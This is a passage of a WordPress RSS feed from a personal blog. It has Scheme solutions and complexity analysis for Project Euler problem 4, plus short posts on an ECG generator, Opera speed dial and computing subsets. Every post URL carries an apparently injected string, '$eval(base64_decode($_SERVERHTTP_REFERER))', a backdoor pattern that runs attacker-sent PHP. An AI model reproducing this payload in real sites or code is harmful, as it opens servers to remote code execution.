<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>step <span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>= <span class="nu0">0</span> <span class="br0">&#40;</span>mod a <span class="nu0">11</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="nu0">1</span> <span class="nu0">11</span><span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#91;</span>next-a<span class="nu0">-11</span>? <span class="br0">&#40;</span>= <span class="nu0">0</span> <span class="br0">&#40;</span>mod <span class="br0">&#40;</span>- a <span class="nu0">1</span><span class="br0">&#41;</span> <span class="nu0">11</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>&lt; b m/<span class="nu0">10</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span>- a <span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">if</span> next-a<span class="nu0">-11</span>? m m<span class="nu0">-11</span><span class="br0">&#41;</span> largest-palindrome<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>n <span class="br0">&#40;</span>* a b<span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>&lt;= n largest-palindrome<span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span>- a <span class="nu0">1</span><span class="br0">&#41;</span> m largest-palindrome<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>palindrome-<span class="kw1">number?</span> n<span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span>- a <span class="nu0">1</span><span class="br0">&#41;</span> m n<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>iter a <span class="br0">&#40;</span>- b step<span class="br0">&#41;</span> largest-palindrome<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>iter m m <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>This speeds up the previous result around ten times, leaving an asymptotic behavior the same. The memory use is the same O(1).</p>
<p>Let's look at results:<br />
k = 2 => N = 9009<br />
k = 3 => N = 906609<br />
k = 4 => N = 99000099<br />
k = 5 => N = 9966006699<br />
k = 6 => N = 999000000999<br />
k = 7 => N = 99956644665999<br />
k = 8 => N = 9999000000009999<br />
...<br />
<del>We could improve our algo drastically, if proven that the sought-for palindrome is less or equal <span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_a90b08144d97e4a8b23804786d12c25a.gif' style=' ' class='tex' alt="n - \sqrt n" /></span> (and mirrored). I have the feeling that for even k it is equal. But I don't know how to prove it.</del> (I calculated for k = 10 and this does not hold, N = 99999834000043899999).</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/12/18/problem-4-ver-4-optimization/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Problem 4 ver. 3: optimization</title>
		<link>http://lakhturov.info/2009/12/17/problem-4-ver-3-optimization/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://lakhturov.info/2009/12/17/problem-4-ver-3-optimization/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 09:40:10 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[projecteuler]]></category>
		<category><![CDATA[scheme]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=213</guid>
		<description><![CDATA[Find the largest palindrome made from the product of two 3-digit numbers. An author, however, advises a simpler approach. As we are looking for a palindrome a*b, let's iterate a and b in a top-down direction. After finding some palindrome, impose it as a top boundary for palindromes, that is, iterating in the inner loop [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Find the largest palindrome made from the product of two 3-digit numbers.</p></blockquote>
<p>An author, however, advises a simpler approach. As we are looking for a palindrome a*b, let's iterate a and b in a top-down direction. After finding some palindrome, impose it as a top boundary for palindromes, that is, iterating in the inner loop for b, we stop when a*b cannot be large than that anymore. If we found a new palindrome, it will replace the boundary. Stop condition is finishing the outer loop in a, i.e. when it drops to 2-digits number (k-1, generally speaking).</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>find-largest-palindrome-with-cutoffs k<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>m <span class="br0">&#40;</span>- <span class="br0">&#40;</span>^ <span class="nu0">10</span> k<span class="br0">&#41;</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#93;</span> <span class="br0">&#91;</span>m/<span class="nu0">10</span> <span class="br0">&#40;</span>^ <span class="nu0">10</span> <span class="br0">&#40;</span>- k <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>iter a b largest-palindrome<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>&lt; a m/<span class="nu0">10</span><span class="br0">&#41;</span> largest-palindrome</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>&lt; b m/<span class="nu0">10</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span>- a <span class="nu0">1</span><span class="br0">&#41;</span> m largest-palindrome<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>n <span class="br0">&#40;</span>* a b<span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>&lt;= n largest-palindrome<span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span>- a <span class="nu0">1</span><span class="br0">&#41;</span> m largest-palindrome<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>palindrome-<span class="kw1">number?</span> n<span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span>- a <span class="nu0">1</span><span class="br0">&#41;</span> m n<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>iter a <span class="br0">&#40;</span>- b <span class="nu0">1</span><span class="br0">&#41;</span> largest-palindrome<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>iter m m <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Complexity in memory now is just O(1). Performance complexity by my impression is better than in the previous variant. The outer loop has n - n/10 steps, so it cannot be less than O(n). Assuming that a desired palindrome (left half of it, actually) lies close to <span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_a90b08144d97e4a8b23804786d12c25a.gif' style=' ' class='tex' alt="n - \sqrt n" /></span> (which should be proved, strictly speaking), we make no more than <span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_bde54a7a0480269308f95bc229a7e73d.gif' style=' ' class='tex' alt="n \cdot \sqrt n = n^{3/2}" /></span> operations until find it, and no more than the same <span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_a62b40d14e97e9911298ab5fddb0ace3.gif' style=' ' class='tex' alt="n^{3/2}" /></span> afterwards.</p>
<p>This is the worst case, however, and I hope that we find some worse-than-ideal palindrome quick enough. Suppose, we can use the estimate <span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_a90b08144d97e4a8b23804786d12c25a.gif' style=' ' class='tex' alt="n - \sqrt n" /></span> ab origin, i.e. the inequality <span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_231557800105ad2abc9c5af1afe28fc7.gif' style=' ' class='tex' alt="f \cdot g < \sqrt n \cdot \sqrt n = n" /></span> holds, where f = n - a, g = n - b. Then we can calculate an estimate of operations as area under a curve y = n / x: <p style='text-align:center;'><span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_c7efbfe1d9cbe80926acd0d405de03de.gif' style='' class='tex' alt="\int_1^n \frac n x dx = n \cdot \ln n" /></span></p></p>
<p>So, the actual algo performance is between <span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_642b5c296a6302b71faafaed96fae500.gif' style=' ' class='tex' alt="O(n \ln n)" /></span> and <span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_296753d112d6c7aa7c0ebbcebcfd326a.gif' style=' ' class='tex' alt="O(n^\frac 3 2)" /></span>.</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/12/17/problem-4-ver-3-optimization/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Problem 4 ver. 2: optimization</title>
		<link>http://lakhturov.info/2009/11/29/problem-4-ver-2-optimization/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://lakhturov.info/2009/11/29/problem-4-ver-2-optimization/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 29 Nov 2009 14:14:35 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[projecteuler]]></category>
		<category><![CDATA[scheme]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=206</guid>
		<description><![CDATA[Find the largest palindrome made from the product of two 3-digit numbers. Last time we had a straightforward algo with complexity and at least O(n) memory use. Now let's enhance that. Instead of iterating over multipliers it's reasonable to iterate over palindromes, starting from the largest. I.e. over sequence 999999, 998899, 997799, and so on. [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Find the largest palindrome made from the product of two 3-digit numbers.</p></blockquote>
<p>Last time we had a straightforward algo with <span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_9f84a66d88d24c3b1bc91df5b5346a13.gif' style=' ' class='tex' alt="O(n^2)" /></span> complexity and at least O(n) memory use. Now let's enhance that. Instead of iterating over multipliers it's reasonable to iterate over palindromes, starting from the largest. I.e. over sequence 999999, 998899, 997799, and so on.</p>
<p>Remark. The largest product of two 3-digit numbers is 999 * 999 = 998001. So, in principle, we could start from the palindrome 997799. But this saves just 2 iterations.</p>
<p>Having a palindrome m, we factorize it and look at all the subsets of the factorization. Assume, we have one subset already. Let's name the product of those factors as p. If this number p has k digits (k = 3 for now) and the number m/p has k digits, than we found the palindrome, which is a product of two k-digit numbers.</p>
<p>In Scheme that will be written as:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>find-largest-palindrome-via-factorization k<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>correct-<span class="kw1">length</span>? m<span class="br0">&#41;</span> <span class="br0">&#40;</span>= <span class="br0">&#40;</span><span class="kw1">length</span> <span class="br0">&#40;</span>digits m<span class="br0">&#41;</span><span class="br0">&#41;</span> k<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>iter <span class="kw1">l</span><span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">let</span>* <span class="br0">&#40;</span><span class="br0">&#91;</span>n <span class="br0">&#40;</span>make-number-from-digits <span class="br0">&#40;</span><span class="kw1">append</span> <span class="br0">&#40;</span><span class="kw1">reverse</span> <span class="kw1">l</span><span class="br0">&#41;</span> <span class="kw1">l</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#91;</span>factors <span class="br0">&#40;</span><span class="kw1">map</span> mul-<span class="kw1">list</span> <span class="br0">&#40;</span>subsets <span class="br0">&#40;</span>factorize n minimal-factor-sqrt-complexity<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#91;</span>factors <span class="br0">&#40;</span>filter correct-<span class="kw1">length</span>? factors<span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#91;</span>factors <span class="br0">&#40;</span>filter <span class="br0">&#40;</span><span class="kw1">lambda</span> <span class="br0">&#40;</span>m<span class="br0">&#41;</span> <span class="br0">&#40;</span>correct-<span class="kw1">length</span>? <span class="br0">&#40;</span>/ n m<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> factors<span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">null?</span> factors<span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span>digits <span class="br0">&#40;</span>- <span class="br0">&#40;</span>make-number-from-digits <span class="kw1">l</span><span class="br0">&#41;</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> n<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">;(display (list n '= (car factors) '* (/ n (car factors)))))))</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>iter <span class="br0">&#40;</span>one-number-multiple-times <span class="nu0">9</span> k<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Here I used a few new util functions:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>make-number-from-radix <span class="kw1">list</span> k<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>iter <span class="kw1">l</span> <span class="kw1">f</span><span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">null?</span> <span class="kw1">l</span><span class="br0">&#41;</span> <span class="nu0">0</span> <span class="br0">&#40;</span>+ <span class="br0">&#40;</span>* <span class="br0">&#40;</span><span class="kw1">car</span> <span class="kw1">l</span><span class="br0">&#41;</span> <span class="kw1">f</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>iter <span class="br0">&#40;</span><span class="kw1">cdr</span> <span class="kw1">l</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>* <span class="kw1">f</span> k<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>iter <span class="kw1">list</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>make-number-from-digits <span class="kw1">list</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>make-number-from-radix <span class="kw1">list</span> <span class="nu0">10</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p> which make numbers out of their base-k representation.</p>
<p>Complexity now is hard to calculate. The worst case scenario gives quite a bad upper boundary. However, the worst case will never be realized.</p>
<p>Looking at what it gives out (9009, 906609, 99000099, 9966006699, 999000000999, ...), I could guess that the required palindrome is found after roughly <span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_43b78eed6b394a9337b90c2a4cbd7f55.gif' style=' ' class='tex' alt="\sqrt n" /></span> iterations. So, in total I hope for less than <span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_9f84a66d88d24c3b1bc91df5b5346a13.gif' style=' ' class='tex' alt="O(n^2)" /></span> complexity.</p>
<p>The memory use depends on factorizations - we store one whenever a palindrome is taken and lose it when proceed with the next palindrome.</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/11/29/problem-4-ver-2-optimization/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Real-time ECG-generator</title>
		<link>http://lakhturov.info/2009/07/28/real-time-ecg-generator/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://lakhturov.info/2009/07/28/real-time-ecg-generator/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 28 Jul 2009 18:06:05 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[misc]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=198</guid>
		<description><![CDATA[Some years ago I accomplished a project of the real-time ECG-generator (the text is in Russian) for Spectromed-UA. I wrote a soft part in Delphi, and another guy dealt with an electronics part. The device is connected to PC and sends out a signal via LPT to a DAC outside. A signal could be rectangular [...]]]></description>
			<content:encoded><![CDATA[<p>Some years ago I accomplished a project of <a href="http://spectromed.com.ua/Generator/ECG-generator/ecg-generator.html">the real-time ECG-generator</a> (the text is in Russian) for Spectromed-UA. I wrote a soft part in Delphi, and another guy dealt with an electronics part.</p>
<p>The device is connected to PC and sends out a signal via LPT to a DAC outside. A signal could be rectangular (meander), sinusoidal and ECG-like. (ECG is the electrocardiogram by the way). The 'heartbeat' of the latest one can be modulated in time. A subprogram to play out real ECG was included. Some noise modulation was included as well.</p>
<p>That was designed to test cardio-analyzers and similar devices. Small and neat project, as I remember. There was no support for the most pathological arrhythmias, however.</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/07/28/real-time-ecg-generator/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Speed dial in Opera 10.0</title>
		<link>http://lakhturov.info/2009/07/08/speed-dial-in-opera-100/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://lakhturov.info/2009/07/08/speed-dial-in-opera-100/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 12:59:58 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[bug]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=194</guid>
		<description><![CDATA[Opera 10 beta hits portages with its customizable speed dial feature. As for me, that could be better. Why not to customize the grid of speed dial in such a way that a user can choose independently x-y size, with discretization 1 column-row? With my usual portrait display mode all the cells are concentrated in [...]]]></description>
			<content:encoded><![CDATA[<p>Opera 10 beta hits portages with its customizable speed dial feature. As for me, that could be better.</p>
<p>Why not to customize the grid of speed dial in such a way that a user can choose independently x-y size, with discretization 1 column-row? With my usual portrait display mode all the cells are concentrated in the center of a screen.</p>
<p>Something has to be done with shortcuts Ctrl+digit. Nine shortcuts are not enough for 25 cells anymore. I think that could be something like Ctrl+0, [switched to speed dial mode], digit, digit [i.e. up to 99 choices].</p>
<p>A hundred of those tabs should be ok, as for me.</p>
<p>I filed this bugreport them (reference email DSK-258394 at bugs.opera.com).</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/07/08/speed-dial-in-opera-100/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>All subsets of a set</title>
		<link>http://lakhturov.info/2009/07/02/all-subsets-of-a-set/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://lakhturov.info/2009/07/02/all-subsets-of-a-set/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 02 Jul 2009 14:34:44 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[misc]]></category>
		<category><![CDATA[scheme]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=188</guid>
		<description><![CDATA[As I already posted in Scheme, a function computing all subsets of a set would be: #!r6rs &#40;import &#40;rnrs&#41;&#41; &#160; &#40;define &#40;subsets set&#41; &#160; &#40;define &#40;recursion set rest&#41; &#40;if &#40;null? set&#41; &#40;list rest&#41; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;&#40;let &#40;&#91;head &#40;car set&#41;&#93; &#91;tail [...]]]></description>
			<content:encoded><![CDATA[<p>As I already posted in Scheme, a function computing all subsets of a set would be:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">#!r6rs</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span>import <span class="br0">&#40;</span>rnrs<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>subsets set<span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>recursion set rest<span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">null?</span> set<span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">list</span> rest<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>head <span class="br0">&#40;</span><span class="kw1">car</span> set<span class="br0">&#41;</span><span class="br0">&#93;</span> <span class="br0">&#91;</span>tail <span class="br0">&#40;</span><span class="kw1">cdr</span> set<span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">append</span> <span class="br0">&#40;</span>recursion tail rest<span class="br0">&#41;</span> <span class="br0">&#40;</span>recursion tail <span class="br0">&#40;</span><span class="kw1">cons</span> head rest<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#40;</span>recursion set '<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#40;</span><span class="kw1">display</span> <span class="br0">&#40;</span>subsets '<span class="br0">&#40;</span>a b c <span class="kw1">d</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
